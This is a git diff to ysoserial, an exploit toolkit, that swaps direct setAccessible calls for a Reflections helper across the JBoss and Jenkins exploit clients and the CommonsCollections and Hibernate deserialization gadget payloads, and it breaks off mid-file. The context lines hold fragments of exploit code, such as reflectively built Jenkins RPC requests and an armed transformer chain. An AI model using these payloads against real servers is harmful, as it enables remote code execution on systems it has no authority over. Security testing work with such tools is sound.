diff --git a/pom.xml b/pom.xml
index 15278be..73d39c4 100644
--- a/pom.xml
+++ b/pom.xml
@@ -121,6 +121,11 @@
javassist
3.19.0-GA
+
+ com.nqzero
+ permit-reflect
+ 0.3
+
commons-codec
commons-codec
diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java
index ca9a8c1..8f05fd7 100644
--- a/src/main/java/ysoserial/exploit/JBoss.java
+++ b/src/main/java/ysoserial/exploit/JBoss.java
@@ -64,6 +64,7 @@ import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
/**
@@ -272,7 +273,7 @@ public class JBoss {
VersionedConnection vc;
Class> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
- vcCreate.setAccessible(true);
+ Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java
index cdbd4a4..d0587f3 100644
--- a/src/main/java/ysoserial/exploit/JenkinsCLI.java
+++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java
@@ -24,6 +24,7 @@ import hudson.remoting.Channel;
import hudson.remoting.Channel.Mode;
import hudson.remoting.ChannelBuilder;
import ysoserial.payloads.ObjectPayload.Utils;
+import ysoserial.payloads.util.Reflections;
/**
* Jenkins CLI client
@@ -73,7 +74,7 @@ public class JenkinsCLI {
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
- reqCons.setAccessible(true);
+ Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] {
prop
diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java
index 64c2adb..1372883 100644
--- a/src/main/java/ysoserial/exploit/JenkinsListener.java
+++ b/src/main/java/ysoserial/exploit/JenkinsListener.java
@@ -117,7 +117,7 @@ public class JenkinsListener {
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
- reqCons.setAccessible(true);
+ Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java
index 652a413..d765160 100644
--- a/src/main/java/ysoserial/payloads/CommonsCollections5.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java
@@ -81,7 +81,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
+ Reflections.setAccessible(valfield);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
diff --git a/src/main/java/ysoserial/payloads/CommonsCollections6.java b/src/main/java/ysoserial/payloads/CommonsCollections6.java
index 1412d2b..dcc3ed6 100644
--- a/src/main/java/ysoserial/payloads/CommonsCollections6.java
+++ b/src/main/java/ysoserial/payloads/CommonsCollections6.java
@@ -9,6 +9,7 @@ import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Field;
@@ -70,7 +71,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
f = HashSet.class.getDeclaredField("backingMap");
}
- f.setAccessible(true);
+ Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
@@ -80,8 +81,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
f2 = HashMap.class.getDeclaredField("elementData");
}
-
- f2.setAccessible(true);
+ Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
@@ -96,7 +96,7 @@ public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
- keyField.setAccessible(true);
+ Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java
index 61e6179..0c64414 100644
--- a/src/main/java/ysoserial/payloads/Hibernate1.java
+++ b/src/main/java/ysoserial/payloads/Hibernate1.java
@@ -78,7 +78,7 @@ public class Hibernate1 implements ObjectPayload